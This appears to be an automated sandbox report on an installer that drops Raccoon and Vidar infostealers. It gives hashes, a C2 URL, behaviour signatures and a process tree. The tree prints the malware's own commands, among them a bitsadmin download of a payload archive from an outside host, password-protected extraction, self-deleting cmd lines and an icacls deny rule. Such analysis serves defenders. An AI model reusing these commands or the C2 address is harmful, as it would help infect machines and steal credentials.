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Analysis

  • max time kernel
    97s
  • max time network
    244s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    26/04/2021, 18:02

Errors

Reason
Machine shutdown

General

  • Target

    Install2.exe

  • Size

    497KB

  • MD5

    41a5f4fd1ea7cac4aa94a87aebccfef0

  • SHA1

    0d0abf079413a4c773754bf4fda338dc5b9a8ddc

  • SHA256

    97e95e99fd499ec45a7c1d8683d5731ce5e7a8fb8b710622e578cd169a00d8d9

  • SHA512

    5ca14bda498f26efff4e1179969b8f2c25244063c7bf25f3ec20b5cd24b5be320bbfb8b3d0b2d66f5c5b415da777a766fece5f251a4247773c6cb991417fb75f

Malware Config

Extracted

Family

raccoon

Botnet

9afb493c6f82d08075dbbfa7d93ce97f1dbf4733

Attributes
  • url4cnc

    https://tttttt.me/antitantief3

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 18 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 28 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks for any installed AV software in registry 1 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 8 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • NSIS installer 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
    1⤵
      PID:1064
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s SENS
      1⤵
        PID:1368
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2336
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Browser
        1⤵
          PID:2536
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2624
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s WpnService
          1⤵
            PID:2632
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
            1⤵
              PID:2376
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
              1⤵
                PID:1824
              • C:\Users\Admin\AppData\Local\Temp\Install2.exe
                "C:\Users\Admin\AppData\Local\Temp\Install2.exe"
                1⤵
                • Suspicious use of WriteProcessMemory
                PID:3400
                • C:\Users\Admin\AppData\Local\Temp\is-UV7ST.tmp\Install2.tmp
                  "C:\Users\Admin\AppData\Local\Temp\is-UV7ST.tmp\Install2.tmp" /SL5="$5002E,235791,152064,C:\Users\Admin\AppData\Local\Temp\Install2.exe"
                  2⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:1020
                  • C:\Users\Admin\AppData\Local\Temp\is-U25KU.tmp\Ultra.exe
                    "C:\Users\Admin\AppData\Local\Temp\is-U25KU.tmp\Ultra.exe" /S /UID=burnerch1
                    3⤵
                    • Drops file in Drivers directory
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Drops file in Program Files directory
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:4076
                    • C:\Program Files\7-Zip\VSRGJUNSQP\ultramediaburner.exe
                      "C:\Program Files\7-Zip\VSRGJUNSQP\ultramediaburner.exe" /VERYSILENT
                      4⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:3428
                      • C:\Users\Admin\AppData\Local\Temp\is-52VFL.tmp\ultramediaburner.tmp
                        "C:\Users\Admin\AppData\Local\Temp\is-52VFL.tmp\ultramediaburner.tmp" /SL5="$6005E,281924,62464,C:\Program Files\7-Zip\VSRGJUNSQP\ultramediaburner.exe" /VERYSILENT
                        5⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of WriteProcessMemory
                        PID:2760
                        • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                          "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                          6⤵
                          • Executes dropped EXE
                          PID:2152
                    • C:\Users\Admin\AppData\Local\Temp\82-7fdda-e78-fe09a-56688f66c0c9e\Dovaebaedaeqy.exe
                      "C:\Users\Admin\AppData\Local\Temp\82-7fdda-e78-fe09a-56688f66c0c9e\Dovaebaedaeqy.exe"
                      4⤵
                      • Executes dropped EXE
                      • Checks computer location settings
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2128
                    • C:\Users\Admin\AppData\Local\Temp\2e-77cb9-976-b5cad-7dca02a21d5a1\Qitucuxyno.exe
                      "C:\Users\Admin\AppData\Local\Temp\2e-77cb9-976-b5cad-7dca02a21d5a1\Qitucuxyno.exe"
                      4⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:504
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4p1kvsdf.0zf\instEU.exe & exit
                        5⤵
                          PID:4248
                          • C:\Users\Admin\AppData\Local\Temp\4p1kvsdf.0zf\instEU.exe
                            C:\Users\Admin\AppData\Local\Temp\4p1kvsdf.0zf\instEU.exe
                            6⤵
                            • Executes dropped EXE
                            PID:4400
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3orp2ytz.i2t\google-game.exe & exit
                          5⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4788
                          • C:\Users\Admin\AppData\Local\Temp\3orp2ytz.i2t\google-game.exe
                            C:\Users\Admin\AppData\Local\Temp\3orp2ytz.i2t\google-game.exe
                            6⤵
                            • Executes dropped EXE
                            • Drops file in Program Files directory
                            • Suspicious use of SetWindowsHookEx
                            • Suspicious use of WriteProcessMemory
                            PID:4588
                            • C:\Windows\SysWOW64\rundll32.exe
                              "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                              7⤵
                              • Loads dropped DLL
                              • Modifies registry class
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:4920
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ssz1u3g3.fq4\md1_1eaf.exe & exit
                          5⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4872
                          • C:\Windows\System32\Conhost.exe
                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            6⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4248
                          • C:\Users\Admin\AppData\Local\Temp\ssz1u3g3.fq4\md1_1eaf.exe
                            C:\Users\Admin\AppData\Local\Temp\ssz1u3g3.fq4\md1_1eaf.exe
                            6⤵
                            • Executes dropped EXE
                            • Checks whether UAC is enabled
                            PID:4936
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fqp4u02y.oz1\askinstall39.exe & exit
                          5⤵
                            PID:4900
                            • C:\Users\Admin\AppData\Local\Temp\fqp4u02y.oz1\askinstall39.exe
                              C:\Users\Admin\AppData\Local\Temp\fqp4u02y.oz1\askinstall39.exe
                              6⤵
                              • Executes dropped EXE
                              • Modifies system certificate store
                              PID:5784
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd.exe /c taskkill /f /im chrome.exe
                                7⤵
                                  PID:5856
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    taskkill /f /im chrome.exe
                                    8⤵
                                    • Kills process with taskkill
                                    PID:5160
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gjwnbpu5.4kl\y1.exe & exit
                              5⤵
                                PID:5544
                                • C:\Users\Admin\AppData\Local\Temp\gjwnbpu5.4kl\y1.exe
                                  C:\Users\Admin\AppData\Local\Temp\gjwnbpu5.4kl\y1.exe
                                  6⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  PID:5820
                                  • C:\Users\Admin\AppData\Local\Temp\J0woGvt44C.exe
                                    "C:\Users\Admin\AppData\Local\Temp\J0woGvt44C.exe"
                                    7⤵
                                      PID:5512
                                      • C:\Users\Admin\AppData\Roaming\1619460471674.exe
                                        "C:\Users\Admin\AppData\Roaming\1619460471674.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619460471674.txt"
                                        8⤵
                                        • Executes dropped EXE
                                        PID:6036
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\J0woGvt44C.exe"
                                        8⤵
                                          PID:5100
                                          • C:\Windows\SysWOW64\PING.EXE
                                            ping 127.0.0.1 -n 3
                                            9⤵
                                            • Runs ping.exe
                                            PID:5492
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\gjwnbpu5.4kl\y1.exe"
                                        7⤵
                                          PID:5496
                                          • C:\Windows\SysWOW64\timeout.exe
                                            timeout /T 10 /NOBREAK
                                            8⤵
                                            • Delays execution with timeout.exe
                                            PID:5032
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b4om0c20.hc3\SunLabsPlayer.exe /S & exit
                                      5⤵
                                        PID:4572
                                        • C:\Users\Admin\AppData\Local\Temp\b4om0c20.hc3\SunLabsPlayer.exe
                                          C:\Users\Admin\AppData\Local\Temp\b4om0c20.hc3\SunLabsPlayer.exe /S
                                          6⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Drops file in Program Files directory
                                          PID:5912
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                            7⤵
                                              PID:5472
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                              7⤵
                                                PID:6064
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                                7⤵
                                                  PID:5960
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                                  7⤵
                                                    PID:5592
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                                    7⤵
                                                      PID:4948
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                                      7⤵
                                                        PID:5144
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                                        7⤵
                                                          PID:4136
                                                        • C:\Windows\SysWOW64\bitsadmin.exe
                                                          "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                          7⤵
                                                          • Download via BitsAdmin
                                                          PID:5604
                                                        • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                          "C:\Program Files (x86)\lighteningplayer\data_load.exe" -pc3LU0EfKa0zKJM3 -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                          7⤵
                                                          • Executes dropped EXE
                                                          • Drops file in Program Files directory
                                                          PID:4900
                                                        • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                          "C:\Program Files (x86)\lighteningplayer\data_load.exe" -pPnmElQXTNHIIFt1 -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                          7⤵
                                                          • Executes dropped EXE
                                                          PID:5368
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                                          7⤵
                                                            PID:4864
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                                            7⤵
                                                              PID:5084
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                                              7⤵
                                                              • Checks for any installed AV software in registry
                                                              PID:4136
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                                              7⤵
                                                                PID:6088
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                                                7⤵
                                                                  PID:4424
                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                  C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\DpXBQZwjVvXI\DpXBQZwjVvXI.dll" DpXBQZwjVvXI
                                                                  7⤵
                                                                    PID:5152
                                                                    • C:\Windows\system32\rundll32.exe
                                                                      C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\DpXBQZwjVvXI\DpXBQZwjVvXI.dll" DpXBQZwjVvXI
                                                                      8⤵
                                                                      • Loads dropped DLL
                                                                      • Drops file in System32 directory
                                                                      PID:5992
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                                                    7⤵
                                                                      PID:5356
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                                                      7⤵
                                                                        PID:5876
                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                                                        7⤵
                                                                          PID:4588
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                                                          7⤵
                                                                            PID:1400
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsfACF1.tmp\tempfile.ps1"
                                                                            7⤵
                                                                            • Loads dropped DLL
                                                                            PID:5152
                                                                          • C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe
                                                                            "C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT
                                                                            7⤵
                                                                              PID:4004
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bj2ixvqz.aw1\inst.exe & exit
                                                                          5⤵
                                                                            PID:5140
                                                                            • C:\Users\Admin\AppData\Local\Temp\bj2ixvqz.aw1\inst.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\bj2ixvqz.aw1\inst.exe
                                                                              6⤵
                                                                              • Executes dropped EXE
                                                                              PID:5860
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ey31qrz5.3ya\GcleanerWW.exe /mixone & exit
                                                                            5⤵
                                                                              PID:4332
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fnykwmjy.xos\app.exe /8-2222 & exit
                                                                              5⤵
                                                                              • Blocklisted process makes network request
                                                                              • Executes dropped EXE
                                                                              • Modifies system certificate store
                                                                              PID:5512
                                                                              • C:\Users\Admin\AppData\Local\Temp\fnykwmjy.xos\app.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\fnykwmjy.xos\app.exe /8-2222
                                                                                6⤵
                                                                                  PID:4600
                                                                                  • C:\Users\Admin\AppData\Local\Temp\fnykwmjy.xos\app.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\fnykwmjy.xos\app.exe" /8-2222
                                                                                    7⤵
                                                                                      PID:5800
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qwrk41yg.vc4\c7ae36fa.exe & exit
                                                                                  5⤵
                                                                                    PID:3492
                                                                                    • C:\Users\Admin\AppData\Local\Temp\qwrk41yg.vc4\c7ae36fa.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\qwrk41yg.vc4\c7ae36fa.exe
                                                                                      6⤵
                                                                                        PID:2108
                                                                            • c:\windows\system32\svchost.exe
                                                                              c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                                                              1⤵
                                                                                PID:1260
                                                                              • c:\windows\system32\svchost.exe
                                                                                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                                                                                1⤵
                                                                                  PID:1236
                                                                                • c:\windows\system32\svchost.exe
                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                                                                                  1⤵
                                                                                  • Drops file in System32 directory
                                                                                  PID:964
                                                                                  • C:\Users\Admin\AppData\Roaming\suwdutf
                                                                                    C:\Users\Admin\AppData\Roaming\suwdutf
                                                                                    2⤵
                                                                                      PID:6088
                                                                                  • c:\windows\system32\svchost.exe
                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                                                                                    1⤵
                                                                                      PID:1008
                                                                                    • \??\c:\windows\system32\svchost.exe
                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                      1⤵
                                                                                      • Suspicious use of SetThreadContext
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:3332
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                        2⤵
                                                                                        • Drops file in System32 directory
                                                                                        • Checks processor information in registry
                                                                                        • Modifies data under HKEY_USERS
                                                                                        • Modifies registry class
                                                                                        PID:4304
                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                      1⤵
                                                                                      • Drops file in Windows directory
                                                                                      • Modifies Internet Explorer settings
                                                                                      • Modifies registry class
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:684
                                                                                    • C:\Windows\system32\browser_broker.exe
                                                                                      C:\Windows\system32\browser_broker.exe -Embedding
                                                                                      1⤵
                                                                                      • Modifies Internet Explorer settings
                                                                                      PID:2688
                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                      1⤵
                                                                                      • Modifies registry class
                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:4752
                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                      1⤵
                                                                                      • Modifies Internet Explorer settings
                                                                                      • Modifies registry class
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:5000
                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                      1⤵
                                                                                      • Modifies registry class
                                                                                      PID:5344
                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                      1⤵
                                                                                      • Modifies registry class
                                                                                      PID:5908
                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                      1⤵
                                                                                      • Modifies registry class
                                                                                      PID:5256
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                      1⤵
                                                                                        PID:5916
                                                                                      • \??\c:\windows\system32\svchost.exe
                                                                                        c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                        1⤵
                                                                                          PID:2252
                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                          1⤵
                                                                                            PID:5288
                                                                                          • C:\Users\Admin\AppData\Local\Temp\337B.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\337B.exe
                                                                                            1⤵
                                                                                              PID:588
                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                icacls "C:\Users\Admin\AppData\Local\2c884683-5bbb-4211-9f42-348bf5dbff63" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                2⤵
                                                                                                • Modifies file permissions
                                                                                                PID:4644
                                                                                              • C:\Users\Admin\AppData\Local\Temp\337B.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\337B.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                2⤵
                                                                                                  PID:4640
                                                                                                  • C:\Users\Admin\AppData\Local\9780a1b0-9227-444d-80f6-9918fb456e69\updatewin1.exe
                                                                                                    "C:\Users\Admin\AppData\Local\9780a1b0-9227-444d-80f6-9918fb456e69\updatewin1.exe"
                                                                                                    3⤵
                                                                                                      PID:432
                                                                                                      • C:\Users\Admin\AppData\Local\9780a1b0-9227-444d-80f6-9918fb456e69\updatewin1.exe
                                                                                                        "C:\Users\Admin\AppData\Local\9780a1b0-9227-444d-80f6-9918fb456e69\updatewin1.exe" --Admin
                                                                                                        4⤵
                                                                                                          PID:4356
                                                                                                      • C:\Users\Admin\AppData\Local\9780a1b0-9227-444d-80f6-9918fb456e69\updatewin2.exe
                                                                                                        "C:\Users\Admin\AppData\Local\9780a1b0-9227-444d-80f6-9918fb456e69\updatewin2.exe"
                                                                                                        3⤵
                                                                                                          PID:6096
                                                                                                        • C:\Users\Admin\AppData\Local\9780a1b0-9227-444d-80f6-9918fb456e69\5.exe
                                                                                                          "C:\Users\Admin\AppData\Local\9780a1b0-9227-444d-80f6-9918fb456e69\5.exe"
                                                                                                          3⤵
                                                                                                            PID:6040
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /im 5.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\9780a1b0-9227-444d-80f6-9918fb456e69\5.exe" & del C:\ProgramData\*.dll & exit
                                                                                                              4⤵
                                                                                                                PID:1112
                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                  taskkill /im 5.exe /f
                                                                                                                  5⤵
                                                                                                                  • Kills process with taskkill
                                                                                                                  PID:5516
                                                                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                                                                  timeout /t 6
                                                                                                                  5⤵
                                                                                                                  • Delays execution with timeout.exe
                                                                                                                  PID:5484
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\9F74.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\9F74.exe
                                                                                                          1⤵
                                                                                                            PID:4852

                                                                                                          Network

                                                                                                                MITRE ATT&CK Enterprise v6

                                                                                                                Replay Monitor

                                                                                                                Loading Replay Monitor...

                                                                                                                Downloads

                                                                                                                • memory/504-147-0x00000000011C2000-0x00000000011C4000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/504-151-0x00000000011C5000-0x00000000011C6000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/504-146-0x00000000011C0000-0x00000000011C2000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/964-203-0x0000028D5D180000-0x0000028D5D1F0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  448KB

                                                                                                                • memory/1008-179-0x00000133CC560000-0x00000133CC5D0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  448KB

                                                                                                                • memory/1020-119-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/1064-197-0x0000021D7A270000-0x0000021D7A2E0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  448KB

                                                                                                                • memory/1236-224-0x00000145B3CA0000-0x00000145B3D10000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  448KB

                                                                                                                • memory/1260-226-0x00000261A8860000-0x00000261A88D0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  448KB

                                                                                                                • memory/1368-220-0x00000235F9560000-0x00000235F95D0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  448KB

                                                                                                                • memory/1824-222-0x0000018F53040000-0x0000018F530B0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  448KB

